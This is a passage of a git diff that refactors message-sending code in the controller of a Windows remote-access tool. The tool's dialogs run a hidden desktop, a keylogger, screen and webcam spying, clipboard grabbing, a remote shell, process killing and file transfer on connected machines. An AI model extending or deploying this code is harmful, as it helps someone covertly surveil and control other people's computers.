-        m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
+        m_ContextObject->Send2Client(bToken, 2);
     }
     break;
     case	IDM_OPEN_Firefox: {
         BYTE bToken[2];
         bToken[0] = COMMAND_HIDE_USER;
         bToken[1] = IDM_OPEN_Firefox;
-        m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
+        m_ContextObject->Send2Client(bToken, 2);
     }
     break;
     case	IDM_OPEN_Iexplore: {
         BYTE	bToken[2];
         bToken[0] = COMMAND_HIDE_USER;
         bToken[1] = IDM_OPEN_Iexplore;
-        m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
+        m_ContextObject->Send2Client(bToken, 2);
     }
     break;
     case IDM_OPEN_ADD_1: {
         BYTE	bToken[2];
         bToken[0] = COMMAND_HIDE_USER;
         bToken[1] = IDM_OPEN_ADD_1;
-        m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
+        m_ContextObject->Send2Client(bToken, 2);
     }
     break;
     case 	IDM_OPEN_ADD_2: {
         BYTE	bToken[2];
         bToken[0] = COMMAND_HIDE_USER;
         bToken[1] = IDM_OPEN_ADD_2;
-        m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
+        m_ContextObject->Send2Client(bToken, 2);
     }
     break;
     case 	IDM_OPEN_ADD_3: {
         BYTE	bToken[2];
         bToken[0] = COMMAND_HIDE_USER;
         bToken[1] = IDM_OPEN_ADD_3;
-        m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
+        m_ContextObject->Send2Client(bToken, 2);
     }
     break;
     case 	IDM_OPEN_ADD_4: {
         BYTE	bToken[2];
         bToken[0] = COMMAND_HIDE_USER;
         bToken[1] = IDM_OPEN_ADD_4;
-        m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
+        m_ContextObject->Send2Client(bToken, 2);
     }
     break;
     case	IDM_OPEN_zdy: {
@@ -635,7 +635,7 @@ void  CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
             lpPacket[0] = COMMAND_HIDE_USER;
             lpPacket[1] = IDM_OPEN_zdy;
             memcpy(lpPacket + 2, dlg.m_str.GetBuffer(0), nPacketLength - 2);
-            m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
+            m_ContextObject->Send2Client(lpPacket, nPacketLength);
             delete[] lpPacket;
 
         }
@@ -661,7 +661,7 @@ void  CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
             lpPacket[0] = COMMAND_HIDE_USER;
             lpPacket[1] = IDM_OPEN_zdy2;
             memcpy(lpPacket + 2, &m_ZdyCmd, nPacketLength - 2);
-            m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
+            m_ContextObject->Send2Client(lpPacket, nPacketLength);
             delete[] lpPacket;
         }
         EnableWindow(TRUE);
@@ -671,27 +671,27 @@ void  CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
         BYTE	bToken[2];
         bToken[0] = COMMAND_HIDE_USER;
         bToken[1] = IDM_OPEN_360JS;
-        m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
+        m_ContextObject->Send2Client(bToken, 2);
         break;
     }
     case 	IDM_OPEN_360AQ: {
         BYTE	bToken[2];
         bToken[0] = COMMAND_HIDE_USER;
         bToken[1] = IDM_OPEN_360AQ;
-        m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
+        m_ContextObject->Send2Client(bToken, 2);
     }
     break;
     case 	IDM_OPEN_360AQ2: {
         BYTE	bToken[2];
         bToken[0] = COMMAND_HIDE_USER;
         bToken[1] = IDM_OPEN_360AQ2;
-        m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
+        m_ContextObject->Send2Client(bToken, 2);
         break;
     }
     case	IDM_OPEN_close: {
         LPBYTE	lpPacket = new BYTE;
         lpPacket[0] = COMMAND_HIDE_CLEAR;
-        m_iocpServer->Send2Client(m_ContextObject, lpPacket, 1);
+        m_ContextObject->Send2Client(lpPacket, 1);
         delete lpPacket;
     }
     break;
@@ -777,7 +777,7 @@ void CHideScreenSpyDlg::SendCommand(const MYMSG& pMsg)
     LPBYTE lpData = new BYTE[sizeof(MYMSG) + 1];
     lpData[0] = COMMAND_SCREEN_CONTROL;
     memcpy(lpData + 1, &pMsg, sizeof(MYMSG));
-    m_iocpServer->Send2Client(m_ContextObject, lpData, sizeof(MYMSG) + 1);
+    m_ContextObject->Send2Client(lpData, sizeof(MYMSG) + 1);
 
     SAFE_DELETE_ARRAY(lpData);
 }
@@ -816,7 +816,7 @@ void CHideScreenSpyDlg::SendServerClipboard()
     memcpy(lpData + 1, lpstr, nPacketLen - 1);
     ::GlobalUnlock(hglb);
     ::CloseClipboard();
-    m_iocpServer->Send2Client(m_ContextObject, lpData, nPacketLen);
+    m_ContextObject->Send2Client(lpData, nPacketLen);
     delete[] lpData;
 }
 
diff --git a/server/2015Remote/HideScreenSpyDlg.h b/server/2015Remote/HideScreenSpyDlg.h
index cd682cb..f5e957e 100644
--- a/server/2015Remote/HideScreenSpyDlg.h
+++ b/server/2015Remote/HideScreenSpyDlg.h
@@ -34,7 +34,7 @@ public:
 
 	VOID SendNext(void) {
 		BYTE	bToken = COMMAND_NEXT;
-		m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
+		m_ContextObject->Send2Client(&bToken, 1);
 	}
     void OnReceiveComplete();
 	BOOL ParseFrame(void);
diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp
index 0be5031..b879462 100644
--- a/server/2015Remote/IOCPServer.cpp
+++ b/server/2015Remote/IOCPServer.cpp
@@ -808,7 +808,7 @@ PCONTEXT_OBJECT IOCPServer::AllocateContext(SOCKET s)
 
 	if (ContextObject != NULL)
 	{
-		ContextObject->InitMember(s);
+		ContextObject->InitMember(s, this);
 	}
 
 	return ContextObject;
diff --git a/server/2015Remote/IOCPUDPServer.cpp b/server/2015Remote/IOCPUDPServer.cpp
index dc543a2..6a90bed 100644
--- a/server/2015Remote/IOCPUDPServer.cpp
+++ b/server/2015Remote/IOCPUDPServer.cpp
@@ -51,7 +51,7 @@ void IOCPUDPServer::PostRecv() {
 
 	AddCount(1);
 	CONTEXT_OBJECT* ctx = new CONTEXT_OBJECT();
-	ctx->InitMember(m_socket);
+	ctx->InitMember(m_socket, this);
 
 	IO_CONTEXT* ioCtx = new IO_CONTEXT();
 	ZeroMemory(&ioCtx->ol, sizeof(OVERLAPPED));
diff --git a/server/2015Remote/KeyBoardDlg.cpp b/server/2015Remote/KeyBoardDlg.cpp
index 17a28f6..622d41d 100644
--- a/server/2015Remote/KeyBoardDlg.cpp
+++ b/server/2015Remote/KeyBoardDlg.cpp
@@ -78,7 +78,7 @@ BOOL CKeyBoardDlg::OnInitDialog()
 
     // 通知远程控制端对话框已经打开
     BYTE bToken = COMMAND_NEXT;
-    m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
+    m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
 
     return TRUE;  // return TRUE unless you set the focus to a control
     // EXCEPTION: OCX Property Pages should return FALSE
@@ -144,7 +144,7 @@ void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam)
         if (pSysMenu != NULL) {
             m_bIsOfflineRecord = !m_bIsOfflineRecord;
             BYTE bToken[] = { COMMAND_KEYBOARD_OFFLINE, m_bIsOfflineRecord };
-            m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
+            m_ContextObject->Send2Client(bToken, sizeof(bToken));
             if (m_bIsOfflineRecord)
                 pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED);
             else
@@ -154,7 +154,7 @@ void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam)
 
     } else if (nID == IDM_CLEAR_RECORD) {
         BYTE bToken = COMMAND_KEYBOARD_CLEAR;
-        m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
+        m_ContextObject->Send2Client(&bToken, 1);
         m_edit.SetWindowText("");
     } else if (nID == IDM_SAVE_RECORD) {
         SaveRecord();
diff --git a/server/2015Remote/RegisterDlg.cpp b/server/2015Remote/RegisterDlg.cpp
index e3b9fe6..6c215b8 100644
--- a/server/2015Remote/RegisterDlg.cpp
+++ b/server/2015Remote/RegisterDlg.cpp
@@ -146,7 +146,7 @@ void CRegisterDlg::OnTvnSelchangedTree(NMHDR *pNMHDR, LRESULT *pResult)
 	bToken=COMMAND_REG_FIND;
 	strFullPath.Insert(0,bToken);      //插入查询命令  [COMMAND_REG_FIND][x]
 
-	m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)(strFullPath.GetBuffer(0)), strFullPath.GetLength()+1);
+	m_ContextObject->Send2Client((LPBYTE)(strFullPath.GetBuffer(0)), strFullPath.GetLength()+1);
 
 	m_isEnable = TRUE;
 
diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp
index a5ceeaa..62c4b1f 100644
--- a/server/2015Remote/ScreenSpyDlg.cpp
+++ b/server/2015Remote/ScreenSpyDlg.cpp
@@ -74,7 +74,7 @@ CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, Server* IOCPServer, CONTEXT_OBJECT* C
 VOID CScreenSpyDlg::SendNext(void)
 {
 	BYTE	bToken = COMMAND_NEXT;
-	m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
+	m_ContextObject->Send2Client(&bToken, 1);
 }
 
 
@@ -485,13 +485,13 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
 			BYTE	bToken[2];
 			bToken[0] = COMMAND_SCREEN_BLOCK_INPUT;
 			bToken[1] = !bIsChecked;
-			m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
+			m_ContextObject->Send2Client(bToken, sizeof(bToken));
 			break;
 		}
 	case IDM_GET_CLIPBOARD: //鎯宠Client鐨勫壀璐存澘鍐呭
 		{
 			BYTE	bToken = COMMAND_SCREEN_GET_CLIPBOARD;
-			m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken));
+			m_ContextObject->Send2Client(&bToken, sizeof(bToken));
 			break;
 		}
 	case IDM_SET_CLIPBOARD: //缁欎粬
@@ -561,7 +561,7 @@ VOID CScreenSpyDlg::SendCommand(const MSG64* Msg)
 	szData[0] = COMMAND_SCREEN_CONTROL;
 	memcpy(szData + 1, Msg, sizeof(MSG64));
 	szData[length] = 0;
-	m_iocpServer->Send2Client(m_ContextObject, szData, length);
+	m_ContextObject->Send2Client(szData, length);
 }
 
 BOOL CScreenSpyDlg::SaveSnapshot(void)
@@ -613,7 +613,7 @@ VOID CScreenSpyDlg::SendServerClipboard(void)
 	memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
 	::GlobalUnlock(hGlobal); 
 	::CloseClipboard();
-	m_iocpServer->Send2Client(m_ContextObject,(PBYTE)szBuffer, iPacketLength);
+	m_ContextObject->Send2Client((PBYTE)szBuffer, iPacketLength);
 	delete[] szBuffer;
 }
 
diff --git a/server/2015Remote/Server.h b/server/2015Remote/Server.h
index afade64..4845dfe 100644
--- a/server/2015Remote/Server.h
+++ b/server/2015Remote/Server.h
@@ -57,11 +57,9 @@ enum {
 	COMPRESS_NONE = 1,				// 没有压缩
 };
 
-struct CONTEXT_OBJECT;
-
 // Header parser: parse the data to make sure it's from a supported client.
 class HeaderParser {
-	friend struct CONTEXT_OBJECT;
+	friend class CONTEXT_OBJECT;
 protected:
 	HeaderParser() {
 		memset(this, 0, sizeof(HeaderParser));
@@ -229,8 +227,31 @@ public:
 	}
 };
 
-typedef struct CONTEXT_OBJECT
+typedef void (CALLBACK* pfnNotifyProc)(CONTEXT_OBJECT* ContextObject);
+typedef void (CALLBACK* pfnOfflineProc)(CONTEXT_OBJECT* ContextObject);
+
+class Server
 {
+public:
+	friend class CONTEXT_OBJECT;
+
+	Server() {}
+	virtual ~Server() {}
+
+	virtual UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) = 0;
+
+	virtual	void Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) = 0;
+
+	virtual void UpdateMaxConnection(int maxConn) {}
+
+	virtual void Destroy() {}
+
+	virtual void Disconnect(CONTEXT_OBJECT* ctx) {}
+};
+
+typedef class CONTEXT_OBJECT
+{
+public:
 	CString  sClientInfo[ONLINELIST_MAX];
 	CString  additonalInfo[RES_MAX];
 	SOCKET   sClientSocket;
@@ -250,10 +271,11 @@ typedef struct CONTEXT_OBJECT
 	BOOL				m_bProxyConnected;			// 代理是否连接
 	BOOL 				bLogin;						// 是否 login
 	std::string			PeerName;					// 对端IP
+	Server*				server;						// 所属服务端
 	int					addrLen;					// for UDP
 	sockaddr_in			clientAddr;					// for UDP
 
-	VOID InitMember(SOCKET s)
+	VOID InitMember(SOCKET s, Server *svr)
 	{
 		memset(szBuffer, 0, sizeof(char) * PACKET_LENGTH);
 		hWnd = NULL;
@@ -273,9 +295,17 @@ typedef struct CONTEXT_OBJECT
 		Parser.Reset();
 		bLogin = FALSE;
 		m_bProxyConnected = FALSE;
+		server = svr;
 		clientAddr = {};
 		addrLen = sizeof(sockaddr_in);
 	}
+	Server* GetServer() {
+		return server;
+	}
+	VOID Send2Client(PBYTE szBuffer, ULONG ulOriginalLength) {
+		if (server)
+			server->Send2Client(this, szBuffer, ulOriginalLength);
+	}
 	VOID SetClientInfo(const CString(&s)[ONLINELIST_MAX], const std::vector<std::string>& a = {}) {
 		for (int i = 0; i < ONLINELIST_MAX; i++)
 		{
@@ -396,23 +426,3 @@ typedef struct CONTEXT_OBJECT
 }CONTEXT_OBJECT, * PCONTEXT_OBJECT;
 
 typedef CList<PCONTEXT_OBJECT> ContextObjectList;
-
-typedef void (CALLBACK* pfnNotifyProc)(CONTEXT_OBJECT* ContextObject);
-typedef void (CALLBACK* pfnOfflineProc)(CONTEXT_OBJECT* ContextObject);
-
-class Server
-{
-public:
-	Server(){}
-	virtual ~Server(){}
-
-	virtual UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) = 0;
-
-	virtual	void Send2Client(CONTEXT_OBJECT * ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) = 0;
-
-	virtual void UpdateMaxConnection(int maxConn){}
-
-	virtual void Destroy(){}
-
-	virtual void Disconnect(CONTEXT_OBJECT* ctx) {}
-};
diff --git a/server/2015Remote/ServicesDlg.cpp b/server/2015Remote/ServicesDlg.cpp
index 756a937..314239b 100644
--- a/server/2015Remote/ServicesDlg.cpp
+++ b/server/2015Remote/ServicesDlg.cpp
@@ -157,7 +157,7 @@ void CServicesDlg::OnServicesStart()
 void CServicesDlg::OnServicesReflash()
 {
 	BYTE bToken = COMMAND_SERVICELIST;   //刷新
-	m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);	
+	m_ContextObject->Send2Client(&bToken, 1);	
 }
 
 // 释放资源以后再清空
@@ -254,7 +254,7 @@ void CServicesDlg::ServicesConfig(BYTE bCmd)
 
 	memcpy(szBuffer + dwOffset, szServiceName, lstrlen(szServiceName)+1);
 
-	m_iocpServer->Send2Client(m_ContextObject, szBuffer, LocalSize(szBuffer));
+	m_ContextObject->Send2Client(szBuffer, LocalSize(szBuffer));
 	LocalFree(szBuffer);
 }
 
diff --git a/server/2015Remote/ShellDlg.cpp b/server/2015Remote/ShellDlg.cpp
index c9ead59..cc2bc44 100644
--- a/server/2015Remote/ShellDlg.cpp
+++ b/server/2015Remote/ShellDlg.cpp
@@ -64,7 +64,7 @@ BOOL CShellDlg::OnInitDialog()
 	SetWindowText(str);
 
 	BYTE bToken = COMMAND_NEXT;
-	m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));  
+	m_ContextObject->Send2Client(&bToken, sizeof(BYTE));  
 
 	m_Edit.SetWindowTextA(">>");
 	m_nCurSel = m_Edit.GetWindowTextLengthA();
@@ -206,7 +206,7 @@ BOOL CShellDlg::PreTranslateMessage(MSG* pMsg)
 				return TRUE;
 			}
 			int length = str.GetLength() - m_nCurSel;
-			m_iocpServer->Send2Client(m_ContextObject, pSrc, length);
+			m_ContextObject->Send2Client(pSrc, length);
 			m_nCurSel = m_Edit.GetWindowTextLength();
 		}
 		// 限制VK_BACK
diff --git a/server/2015Remote/SystemDlg.cpp b/server/2015Remote/SystemDlg.cpp
index 48575bb..7f3e53f 100644
--- a/server/2015Remote/SystemDlg.cpp
+++ b/server/2015Remote/SystemDlg.cpp
@@ -285,7 +285,7 @@ void CSystemDlg::OnPlistKill()
 		dwOffset += sizeof(DWORD);
 	}
 	//发送数据到被控端在被控端中查找COMMAND_KILLPROCESS这个数据头
-	m_iocpServer->Send2Client(m_ContextObject, szBuffer, LocalSize(szBuffer));
+	m_ContextObject->Send2Client(szBuffer, LocalSize(szBuffer));
 	LocalFree(szBuffer);
 
 	Sleep(100);
@@ -308,7 +308,7 @@ VOID CSystemDlg::OnPlistRefresh()
 VOID CSystemDlg::GetProcessList(void)
 {
 	BYTE bToken = COMMAND_PSLIST;
-	m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
+	m_ContextObject->Send2Client(&bToken, 1);
 }
 
 
@@ -321,7 +321,7 @@ void CSystemDlg::OnWlistRefresh()
 void CSystemDlg::GetWindowsList(void)
 {
 	BYTE bToken = COMMAND_WSLIST;
-	m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
+	m_ContextObject->Send2Client(&bToken, 1);
 }
 
 
@@ -363,7 +363,7 @@ void CSystemDlg::OnWlistClose()
 		auto data = (ItemData*)pListCtrl->GetItemData(nItem);
 		DWORD hwnd = data->ID; //得到窗口的句柄一同发送  4   djfkdfj  dkfjf  4
 		memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));   //1 4
-		m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));			
+		m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf));			
 
 	}
 }
@@ -387,7 +387,7 @@ void CSystemDlg::OnWlistHide()
 		memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));      //得到窗口的句柄一同发送
 		DWORD dHow=SW_HIDE;                          //窗口处理参数 0
 		memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
-		m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));	
+		m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf));	
 	}
 }
 
@@ -409,7 +409,7 @@ void CSystemDlg::OnWlistRecover()
 		memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
 		DWORD dHow=SW_NORMAL;
 		memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
-		m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));	
+		m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf));	
 	}
 }
 
@@ -431,7 +431,7 @@ void CSystemDlg::OnWlistMax()
 		memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
 		DWORD dHow=SW_MAXIMIZE;
 		memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
-		m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));	
+		m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf));	
 	}
 }
 
@@ -453,7 +453,7 @@ void CSystemDlg::OnWlistMin()
 		memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
 		DWORD dHow=SW_MINIMIZE;
 		memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
-		m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));	
+		m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf));	
 	}
 }
 
diff --git a/server/2015Remote/TalkDlg.cpp b/server/2015Remote/TalkDlg.cpp
index 9e86651..a3dafaf 100644
--- a/server/2015Remote/TalkDlg.cpp
+++ b/server/2015Remote/TalkDlg.cpp
@@ -42,7 +42,7 @@ BOOL CTalkDlg::OnInitDialog()
 
 	SetIcon(m_hIcon, FALSE);
 	BYTE bToken = COMMAND_NEXT;  
-	m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
+	m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
 
 	return TRUE;  // return TRUE unless you set the focus to a control
 	// 异常: OCX 属性页应返回 FALSE
@@ -66,7 +66,7 @@ void CTalkDlg::OnBnClickedButtonTalk()
 
 	m_EditTalk.SetWindowText(NULL);
 
-	m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)szBuffer, strlen(szBuffer));
+	m_ContextObject->Send2Client((LPBYTE)szBuffer, strlen(szBuffer));
 }
 
 
diff --git a/server/2015Remote/VideoDlg.cpp b/server/2015Remote/VideoDlg.cpp
index e162ad0..79621b0 100644
--- a/server/2015Remote/VideoDlg.cpp
+++ b/server/2015Remote/VideoDlg.cpp
@@ -208,7 +208,7 @@ BOOL CVideoDlg::OnInitDialog()
 
 		BYTE bToken = COMMAND_NEXT;
 
-		m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
+		m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
 	}
 
 	SetIcon(m_hIcon, TRUE);
@@ -304,7 +304,7 @@ void CVideoDlg::InitCodec(DWORD fccHandler)
 		m_pVideoCodec = NULL;
 		// 通知服务端不启用压缩
 		BYTE bToken = COMMAND_WEBCAM_DISABLECOMPRESS;
-		m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
+		m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
 		GetSystemMenu(FALSE)->EnableMenuItem(IDM_ENABLECOMPRESS, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
 	}
 }
@@ -329,7 +329,7 @@ void CVideoDlg::OnSysCommand(UINT nID, LPARAM lParam)
 			BYTE	bToken = COMMAND_WEBCAM_ENABLECOMPRESS;
 			if (!bIsChecked)
 				bToken = COMMAND_WEBCAM_DISABLECOMPRESS;
-			m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
+			m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
 			break;
 		}
 	}
diff --git a/server/2015Remote/file/CFileManagerDlg.cpp b/server/2015Remote/file/CFileManagerDlg.cpp
index 523098b..38ead68 100644
--- a/server/2015Remote/file/CFileManagerDlg.cpp
+++ b/server/2015Remote/file/CFileManagerDlg.cpp
@@ -468,7 +468,7 @@ void CFileManagerDlg::FixedRemoteDriveList()
     SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, NULL, SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
 
     BYTE bPacket = COMMAND_FILE_GETNETHOOD;
-    m_iocpServer->Send2Client(m_ContextObject, &bPacket, 1);
+    m_ContextObject->Send2Client(&bPacket, 1);
 }
 
 void CFileManagerDlg::fixNetHood(BYTE* pbuffer, int buffersize)
@@ -717,7 +717,7 @@ void CFileManagerDlg::GetRemoteFileList(CString directory)
 
     bPacket[0] = COMMAND_LIST_FILES;
     memcpy(bPacket + 1, m_Remote_Path.GetBuffer(0), PacketSize - 1);
-    m_iocpServer->Send2Client(m_ContextObject, bPacket, PacketSize);
+    m_ContextObject->Send2Client(bPacket, PacketSize);
     LocalFree(bPacket);
 
     m_Remote_Directory_ComboBox.InsertString(0, m_Remote_Path);
@@ -744,7 +744,7 @@ void CFileManagerDlg::OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult)
             BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, PacketSize);
             bPacket[0] = COMMAND_FILE_GETINFO;
             memcpy(bPacket + 1, filename.GetBuffer(0), PacketSize - 1);
-            m_iocpServer->Send2Client(m_ContextObject, bPacket, PacketSize);
+            m_ContextObject->Send2Client(bPacket, PacketSize);
             LocalFree(bPacket);
         }
         return;
@@ -769,7 +769,7 @@ void CFileManagerDlg::OnDblclkListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult)
     }
     if (directory.Compare(_T("最近")) == 0) {
         BYTE byToken = COMMAND_FILE_RECENT;
-        m_iocpServer->Send2Client(m_ContextObject, &byToken, 1);
+        m_ContextObject->Send2Client(&byToken, 1);
         return;
     }
     m_Remote_Path = directory;
@@ -779,7 +779,7 @@ void CFileManagerDlg::OnDblclkListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult)
 
     bPacket[0] = COMMAND_LIST_FILES;
     memcpy(bPacket + 1, directory.GetBuffer(0), PacketSize - 1);
-    m_iocpServer->Send2Client(m_ContextObject, bPacket, PacketSize);
+    m_ContextObject->Send2Client(bPacket, PacketSize);
     LocalFree(bPacket);
 
     m_Remote_Directory_ComboBox.InsertString(0, directory);
@@ -937,7 +937,7 @@ void CFileManagerDlg::OnRemoteView()
 void CFileManagerDlg::OnRemoteRecent()
 {
     BYTE byToken = COMMAND_FILE_RECENT;
-    m_iocpServer->Send2Client(m_ContextObject, &byToken, 1);
+    m_ContextObject->Send2Client(&byToken, 1);
 }
 
 void CFileManagerDlg::OnRemoteDesktop()
@@ -1131,7 +1131,7 @@ BOOL CFileManagerDlg::SendDownloadJob()
 
     // 文件偏移，续传时用
     memcpy(bPacket + 1, file.GetBuffer(0), (file.GetLength() + 1) * sizeof(TCHAR));
-    m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize);
+    m_ContextObject->Send2Client(bPacket, nPacketSize);
     LocalFree(bPacket);
 
     // 从下载任务列表中删除自己
@@ -1193,7 +1193,7 @@ BOOL CFileManagerDlg::SendUploadJob()
     memcpy(bPacket + 1, &dwSizeHigh, sizeof(DWORD));
     memcpy(bPacket + 5, &dwSizeLow, sizeof(DWORD));
     memcpy(bPacket + 9, fileRemote.GetBuffer(0), (fileRemote.GetLength() + 1) * sizeof(TCHAR));
-    m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize);
+    m_ContextObject->Send2Client(bPacket, nPacketSize);
     LocalFree(bPacket);
 
     // 从下载任务列表中删除自己
@@ -1221,7 +1221,7 @@ BOOL CFileManagerDlg::SendDeleteJob()
 
     // 文件偏移，续传时用
     memcpy(bPacket + 1, file.GetBuffer(0), nPacketSize - 1);
-    m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize);
+    m_ContextObject->Send2Client(bPacket, nPacketSize);
     LocalFree(bPacket);
 
     // 从下载任务列表中删除自己
@@ -1376,7 +1376,7 @@ void CFileManagerDlg::CreateLocalRecvFile()
         SendStop(TRUE);
     else {
         // 发送继续传输文件的token,包含文件续传的偏移
-        m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
+        m_ContextObject->Send2Client(bToken, sizeof(bToken));
     }
 }
 
@@ -1439,7 +1439,7 @@ void CFileManagerDlg::WriteLocalRecvFile()
         bToken[0] = COMMAND_CONTINUE;
         memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
         memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow));
-        m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
+        m_ContextObject->Send2Client(bToken, sizeof(bToken));
     }
 }
 
@@ -1534,13 +1534,13 @@ void CFileManagerDlg::EndRemoteDeleteFile()
 void CFileManagerDlg::SendException()
 {
     BYTE	bBuff = COMMAND_FILE_EXCEPTION;
-    m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1);
+    m_ContextObject->Send2Client(&bBuff, 1);
 }
 
 void CFileManagerDlg::SendContinue()
 {
     BYTE	bBuff = COMMAND_CONTINUE;
-    m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1);
+    m_ContextObject->Send2Client(&bBuff, 1);
 }
 
 void CFileManagerDlg::SendStop(BOOL bIsDownload)
@@ -1552,7 +1552,7 @@ void CFileManagerDlg::SendStop(BOOL bIsDownload)
     BYTE	bBuff[2];
     bBuff[0] = COMMAND_STOP;
     bBuff[1] = bIsDownload;
-    m_iocpServer->Send2Client(m_ContextObject, bBuff, sizeof(bBuff));
+    m_ContextObject->Send2Client(bBuff, sizeof(bBuff));
 }
 
 void CFileManagerDlg::ShowProgress()
@@ -1668,7 +1668,7 @@ void CFileManagerDlg::SendTransferMode()
     BYTE bToken[5];
     bToken[0] = COMMAND_SET_TRANSFER_MODE;
     memcpy(bToken + 1, &m_nTransferMode, sizeof(m_nTransferMode));
-    m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
+    m_ContextObject->Send2Client(bToken, sizeof(bToken));
 }
 
 void CFileManagerDlg::SendFileData()
@@ -1707,7 +1707,7 @@ void CFileManagerDlg::SendFileData()
 
     if (nNumberOfBytesRead > 0) {
         int	nPacketSize = nNumberOfBytesRead + nHeadLength;
-        m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
+        m_ContextObject->Send2Client(lpBuffer, nPacketSize);
     }
     LocalFree(lpBuffer);
 }
@@ -1759,7 +1759,7 @@ void CFileManagerDlg::OnRemoteNewFolder()
         LPBYTE	lpBuffer = new BYTE[nPacketSize];
         lpBuffer[0] = COMMAND_CREATE_FOLDER;
         memcpy(lpBuffer + 1, file.GetBuffer(0), nPacketSize - 1);
-        m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
+        m_ContextObject->Send2Client(lpBuffer, nPacketSize);
         SAFE_DELETE_AR(lpBuffer);
     }
 }
@@ -1792,7 +1792,7 @@ void CFileManagerDlg::OnEndLabelEditListRemote(NMHDR* pNMHDR, LRESULT* pResult)
